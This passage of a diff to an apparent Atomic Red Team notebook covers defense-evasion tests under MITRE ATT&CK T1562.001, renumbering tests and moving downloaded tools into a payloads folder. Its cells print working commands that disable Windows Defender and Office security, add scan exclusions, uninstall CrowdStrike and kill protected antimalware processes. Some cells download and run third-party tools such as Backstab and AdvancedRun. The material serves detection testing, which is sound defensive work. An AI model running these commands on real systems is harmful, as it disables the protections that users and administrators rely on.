Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -602,31 +647,31 @@ { "cell_type": "code", "execution_count": null, - "id": "f2697670", + "id": "42be811b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 17" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "ba5f05cb", + "id": "6023ee36", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 0\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c63c21ef", + "id": "59a085a0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 17 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 18 -Cleanup" }, { "cell_type": "markdown", - "id": "8d3164a8", + "id": "0a7fe409", "metadata": {}, "source": [ - "### Atomic Test #18 - Disable Microsoft Office Security Features", + "### Atomic Test #19 - Disable Microsoft Office Security Features", "Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not\nshow any warning before editing the document.\n\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -636,31 +681,31 @@ { "cell_type": "code", "execution_count": null, - "id": "15e778f4", + "id": "43c3b55c", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 18" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "aac71401", + "id": "8e00e7e6", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -ErrorAction Ignore | Out-Null\nRemove-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "32de4cc4", + "id": "906f9a99", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 18 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 19 -Cleanup" }, { "cell_type": "markdown", - "id": "80b9cc5d", + "id": "c6957db9", "metadata": {}, "source": [ - "### Atomic Test #19 - Remove Windows Defender Definition Files", + "### Atomic Test #20 - Remove Windows Defender Definition Files", "Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.\nOn later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the\ncommand will say completed.\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -671,17 +716,17 @@ { "cell_type": "code", "execution_count": null, - "id": "cddd8ee6", + "id": "d32128b6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 19" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "55999bc1", + "id": "dea5d50b", "metadata": {}, "source": [ - "### Atomic Test #20 - Stop and Remove Arbitrary Security Windows Service", + "### Atomic Test #21 - Stop and Remove Arbitrary Security Windows Service", "Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -692,17 +737,17 @@ { "cell_type": "code", "execution_count": null, - "id": "a01c55e6", + "id": "53432775", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 20" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "8abc5bf1", + "id": "43ad50a0", "metadata": {}, "source": [ - "### Atomic Test #21 - Uninstall Crowdstrike Falcon on Windows", + "### Atomic Test #22 - Uninstall Crowdstrike Falcon on Windows", "Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -713,17 +758,17 @@ { "cell_type": "code", "execution_count": null, - "id": "ba0ccd2f", + "id": "2d0e2dd6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 21" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "acd9b6b1", + "id": "6e38db23", "metadata": {}, "source": [ - "### Atomic Test #22 - Tamper with Windows Defender Evade Scanning -Folder", + "### Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Folder", "Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -734,31 +779,31 @@ { "cell_type": "code", "execution_count": null, - "id": "f5a1da96", + "id": "7f7aa15d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 22" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "e94bacff", + "id": "9300a277", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$excludedpath= \"C:\\Temp\"\nRemove-MpPreference -ExclusionPath $excludedpath\n```" }, { "cell_type": "code", "execution_count": null, - "id": "672fa9c0", + "id": "9e9da741", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 22 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 23 -Cleanup" }, { "cell_type": "markdown", - "id": "c10e407a", + "id": "4577e6b8", "metadata": {}, "source": [ - "### Atomic Test #23 - Tamper with Windows Defender Evade Scanning -Extension", + "### Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Extension", "Malware can exclude specific extensions from being scanned and evading detection. \nUpon successful execution, the extension(s) should be on the list of excluded extensions.\nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -769,31 +814,31 @@ { "cell_type": "code", "execution_count": null, - "id": "d716c913", + "id": "4170f9e2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 23" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 24" }, { "cell_type": "markdown", - "id": "4e7d9826", + "id": "4872a5ca", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$excludedExts= \".exe\"\nRemove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "279f6a2d", + "id": "f1e28bd4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 23 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 24 -Cleanup" }, { "cell_type": "markdown", - "id": "ea833b7a", + "id": "852c5a31", "metadata": {}, "source": [ - "### Atomic Test #24 - Tamper with Windows Defender Evade Scanning -Process", + "### Atomic Test #25 - Tamper with Windows Defender Evade Scanning -Process", "Malware can exclude specific processes from being scanned and evading detection.\nUpon successful execution, the process(es) should be on the list of excluded processes. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess.\"\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -804,42 +849,42 @@ { "cell_type": "code", "execution_count": null, - "id": "5f4027a7", + "id": "c67a118b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 24" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 25" }, { "cell_type": "markdown", - "id": "be459490", + "id": "a6f31147", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$excludedProcess = \"outlook.exe\"\nRemove-MpPreference -ExclusionProcess $excludedProcess\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dbcf3a7f", + "id": "0a7a1e81", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 24 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 25 -Cleanup" }, { "cell_type": "markdown", - "id": "3486f82f", + "id": "937ab30c", "metadata": {}, - "source": "### Atomic Test #25 - office-365-Disable-AntiPhishRule\nUsing the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement\nImport-Module ExchangeOnlineManagement\n\n```" + "source": "### Atomic Test #26 - office-365-Disable-AntiPhishRule\nUsing the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement\nImport-Module ExchangeOnlineManagement\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a41436ca", + "id": "e0ea3046", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 25 -GetPreReqs" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 26 -GetPreReqs" }, { "cell_type": "markdown", - "id": "18c86526", + "id": "43e8a374", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -849,31 +894,31 @@ { "cell_type": "code", "execution_count": null, - "id": "955fcc5a", + "id": "f9001ab3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 25" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 26" }, { "cell_type": "markdown", - "id": "722923db", + "id": "530b9f46", "metadata": {}, "source": "#### Cleanup: \n```powershell\nif(\"None\" -ne \"\") {\n$secure_pwd = (\"None\" + \"\") | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\n$test = Get-AntiPhishRule\nEnable-AntiPhishRule -Identity $test.Name -Confirm:$false\nGet-AntiPhishRule\n} \n```" }, { "cell_type": "code", "execution_count": null, - "id": "233682dc", + "id": "e2cb57a2", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 25 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 26 -Cleanup" }, { "cell_type": "markdown", - "id": "4056870d", + "id": "726338fa", "metadata": {}, "source": [ - "### Atomic Test #26 - Disable Windows Defender with DISM", + "### Atomic Test #27 - Disable Windows Defender with DISM", "The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. \nDISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's package.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -884,135 +929,90 @@ { "cell_type": "code", "execution_count": null, - "id": "be5728c5", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 26" - }, - { - "cell_type": "markdown", - "id": "e800b78f", - "metadata": {}, - "source": "### Atomic Test #27 - Disable Defender with Defender Control\nAttempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Defender Control must be installed on the machine. \n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nStart-BitsTransfer -Source \"https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip\" -Destination \"$env:temp\\defendercontrol.zip\" -dynamic\nexpand-archive -LiteralPath \"$env:temp\\defendercontrol.zip\" -DestinationPath \"$env:temp\\DefenderControl\"\n\n```" - }, - { - "cell_type": "code", - "execution_count": null, - "id": "4e188779", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 27 -GetPreReqs" - }, - { - "cell_type": "markdown", - "id": "1f18d2eb", - "metadata": {}, - "source": [ - "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd /c $env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe /D FFFF | Out-Null\n```" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "d3afae69", + "id": "9a7d7e81", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 27" }, { "cell_type": "markdown", - "id": "0fef5ff2", - "metadata": {}, - "source": "#### Cleanup: \n```powershell\ncmd /c $env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe /E | Out-Null\n```" - }, - { - "cell_type": "code", - "execution_count": null, - "id": "08a0fb38", - "metadata": {}, - "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 27 -Cleanup" - }, - { - "cell_type": "markdown", - "id": "4127dc88", + "id": "9f9666d6", "metadata": {}, - "source": "### Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun\nInformation on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Advancedrun.exe must exist at #{AdvancedRun_Location}\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path $env:temp\\AdvancedRun.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"http://www.nirsoft.net/utils/advancedrun.zip\" -OutFile \"$env:temp\\advancedrun.zip\"\nExpand-Archive -path \"$env:temp\\advancedrun.zip\" -destinationpath \"$env:temp\\\" -Force\n\n```" + "source": "### Atomic Test #28 - Disable Defender Using NirSoft AdvancedRun\nInformation on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Advancedrun.exe must exist at #{AdvancedRun_Location}\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdvancedRun.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"http://www.nirsoft.net/utils/advancedrun.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\advancedrun.zip\"\nExpand-Archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\advancedrun.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "421b9989", + "id": "c87845b3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 28 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3db97189", + "id": "f78150c7", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nTry {cmd /c $env:temp\\AdvancedRun.exe /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\nif(0){\n $CommandToRun = rmdir \"$env:programdata\\Microsoft\\Windows Defender\" -Recurse\n Try {cmd /c $env:temp\\AdvancedRun.exe /EXEFilename \"$env:systemroot\\System32\\WindowsPowershell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"$CommandToRun\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n}\n```" + "```powershell\nTry {cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdvancedRun.exe\" /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\nif(0){\n $CommandToRun = rmdir \"$env:programdata\\Microsoft\\Windows Defender\" -Recurse\n Try {cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdvancedRun.exe\" /EXEFilename \"$env:systemroot\\System32\\WindowsPowershell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"$CommandToRun\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f5e2c86f", + "id": "a555179c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 28" }, { "cell_type": "markdown", - "id": "4f156794", + "id": "1a49bca0", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nTry {cmd /c $env:temp\\AdvancedRun.exe /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"start WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n```" + "source": "#### Cleanup: \n```powershell\nTry {cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdvancedRun.exe\" /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"start WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "01335f60", + "id": "9f30a0ad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 28 -Cleanup" }, { "cell_type": "markdown", - "id": "72b8c89c", + "id": "89ead54f", "metadata": {}, - "source": "### Atomic Test #29 - Kill antimalware protected processes using Backstab\nBackstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.\nhttps://github.com/Yaxser/Backstab\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Backstab64.exe should exist in %temp%\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\Backstab64.exe) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nStart-BitsTransfer -Source \"https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe\" -Destination \"$env:temp\\Backstab64.exe\" -dynamic\n```" + "source": "### Atomic Test #29 - Kill antimalware protected processes using Backstab\nBackstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.\nhttps://github.com/Yaxser/Backstab\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Backstab64.exe should exist in ExtrnalPayloads Directory\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Backstab64.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Backstab64.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c1970ef0", + "id": "51b956ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 29 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6e0a8dda", + "id": "71c6f941", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n& $env:temp\\Backstab64.exe -k -n MsMpEng.exe```" + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\Backstab64.exe\" -k -n MsMpEng.exe\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4b10a382", + "id": "810d0fee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 29" }, { "cell_type": "markdown", - "id": "ac3cdfc1", + "id": "7c97005a", "metadata": {}, "source": [ "### Atomic Test #30 - WinPwn - Kill the event log services for stealth", @@ -1025,14 +1025,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a473be64", + "id": "da846086", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 30" }, { "cell_type": "markdown", - "id": "3bdf5a1d", + "id": "6ebb15c7", "metadata": {}, "source": [ "### Atomic Test #31 - Tamper with Windows Defender ATP using Aliases - PowerShell", @@ -1046,28 +1046,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a6f8a566", + "id": "0e2ac837", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 31" }, { "cell_type": "markdown", - "id": "ffcf7c1d", + "id": "e9519cc0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-MpPreference -drtm 0\nSet-MpPreference -dbm 0\nSet-MpPreference -dscrptsc 0\nSet-MpPreference -dbaf 0\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6f734e3a", + "id": "e6d0c841", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 31 -Cleanup" }, { "cell_type": "markdown", - "id": "0115917a", + "id": "ab674d86", "metadata": {}, "source": [ "### Atomic Test #32 - LockBit Black - Disable Privacy Settings Experience Using Registry -cmd", @@ -1081,28 +1081,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f03e0fa6", + "id": "ef7dc09b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 32" }, { "cell_type": "markdown", - "id": "81fea571", + "id": "8700d900", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eca9dfa1", + "id": "4cf06572", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 32 -Cleanup" }, { "cell_type": "markdown", - "id": "02328fdb", + "id": "cb78d625", "metadata": {}, "source": [ "### Atomic Test #33 - LockBit Black - Use Registry Editor to turn on automatic logon -cmd", @@ -1116,28 +1116,28 @@ { "cell_type": "code", "execution_count": null, - "id": "419384b3", + "id": "1b4e9a8c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 33" }, { "cell_type": "markdown", - "id": "ca08fb7e", + "id": "34e4a4c5", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e87bd4b2", + "id": "195a0315", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 33 -Cleanup" }, { "cell_type": "markdown", - "id": "7069ad13", + "id": "b17389f8", "metadata": {}, "source": [ "### Atomic Test #34 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell", @@ -1145,34 +1145,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 0 -Force\n```" + "```powershell\nNew-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d1ff796e", + "id": "6b719c1c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 34" }, { "cell_type": "markdown", - "id": "ed7a1586", + "id": "85c1127b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\OOBE\" -Name DisablePrivacyExperience -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "42728af3", + "id": "d71d24b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 34 -Cleanup" }, { "cell_type": "markdown", - "id": "f17ceb9d", + "id": "5b289e41", "metadata": {}, "source": [ "### Atomic Test #35 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell", @@ -1186,28 +1186,28 @@ { "cell_type": "code", "execution_count": null, - "id": "322d1bd6", + "id": "cdb82988", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 35" }, { "cell_type": "markdown", - "id": "d3fdb715", + "id": "e3a213e1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "da1b6eef", + "id": "0d497601", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 35 -Cleanup" }, { "cell_type": "markdown", - "id": "c374f20e", + "id": "590a3b1c", "metadata": {}, "source": [ "### Atomic Test #36 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature", @@ -1221,14 +1221,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c1c1ac12", + "id": "9904e61b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 36" }, { "cell_type": "markdown", - "id": "b457cba7", + "id": "4e2a53d5", "metadata": {}, "source": [ "### Atomic Test #37 - WMIC Tamper with Windows Defender Evade Scanning Folder", @@ -1242,42 +1242,42 @@ { "cell_type": "code", "execution_count": null, - "id": "c0d42a6c", + "id": "6de6b1cc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 37" }, { "cell_type": "markdown", - "id": "fc236a6b", + "id": "75bcaf1b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nwmic.exe /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Remove ExclusionPath=\\\"ATOMICREDTEAM\\\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f459e9a1", + "id": "970ce92f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 37 -Cleanup" }, { "cell_type": "markdown", - "id": "9b798c17", + "id": "0e3865d9", "metadata": {}, "source": "### Atomic Test #38 - Delete Windows Defender Scheduled Tasks\nThe following atomic test will delete the Windows Defender scheduled tasks.\n\n[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: The Windows Defender scheduled tasks must be backed up first\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" > 